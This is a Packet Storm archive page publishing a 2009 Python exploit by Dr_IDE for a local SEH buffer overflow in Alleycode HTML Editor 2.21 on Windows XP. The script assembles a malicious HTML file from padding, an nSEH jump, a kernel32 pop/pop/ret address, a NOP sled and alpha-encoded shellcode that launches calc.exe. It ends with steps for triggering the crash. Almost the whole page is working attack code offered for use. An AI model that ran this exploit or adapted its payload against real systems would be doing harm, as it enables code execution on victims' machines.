what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Alleycode HTML Editor 2.21 Overflow

Alleycode HTML Editor 2.21 Overflow
Posted Oct 21, 2009
Authored by Dr_IDE

Alleycode HTML Editor version 2.2.1 local overflow exploit that creates a malicious .html file.

tags | exploit, overflow, local
SHA-256 | b016c0877a491881614856bf1c2419efbc6b2aafba3fe1b8e520eab4ec351acb

Alleycode HTML Editor 2.21 Overflow

Change Mirror Download
#!/usr/bin/env python

####################################################################
#
# Alleycode HTML Editor 2.21 Local (.HTML) Overflow Exploit (SEH)
# Coded By: Dr_IDE
# Found By: Rafael de Sousa
# Tested On: XPSP0 (SP3 doesn't have any usable P/P/R)
# Download: www.alleycode.com
#
####################################################################

# calc.exe - 303 bytes
# Encoder - alpha/upper
# EXITFUNC - SEH
sc = (
"\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49"
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
"\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47"
"\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c"
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a"
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46"
"\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45"
"\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c"
"\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c"
"\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44"
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c"
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46"
"\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50"
"\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44"
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45"
"\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43"
"\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b"
"\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43"
"\x51\x42\x4c\x42\x43\x43\x30\x41\x41");

head = ("<html>\n<title>"); # Don't touch the html stuff.
buff = ("@" * 504); # Overwrite SEH Pointer
nseh = ("\xEB\x64\x90\x90"); # Need to pass some garbage in stack
retn = ("\x0E\x03\xEB\x77"); # P/P/R Kernel32.dll XPSP0
nops = ("\x90" * 116); # SLIIIIIIIIIIIIIIIIIIIIIIIIIIIIIDE!
junk = ("\x40" * (688 - len(sc))); # Looks like 688 bytes for Shellcode
foot = ("</title>\n<body>Calculator goes BOOM!</body>\n</html>\n");

sploit = (head + buff + nseh + retn + nops + sc + junk + foot);

try:
print ("\n\n#######################################################");
print ("# Alleycode HTML Editor 2.21 Local HTML Buffer Overflow");
print ("# By: Dr_IDE");
print ("# pocoftheday.blogspot.com");
print ("#######################################################\n");
print ("[*] Writing evil HTML file.");
f1 = open("Dr_IDEs_Evil_Homepage.html","w");
f1.write(sploit);
f1.close();
print ('[*] Success. Load File and Click "Tools -> Optimizer".');

except:
print ("[-] Error, could not write the file.");

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close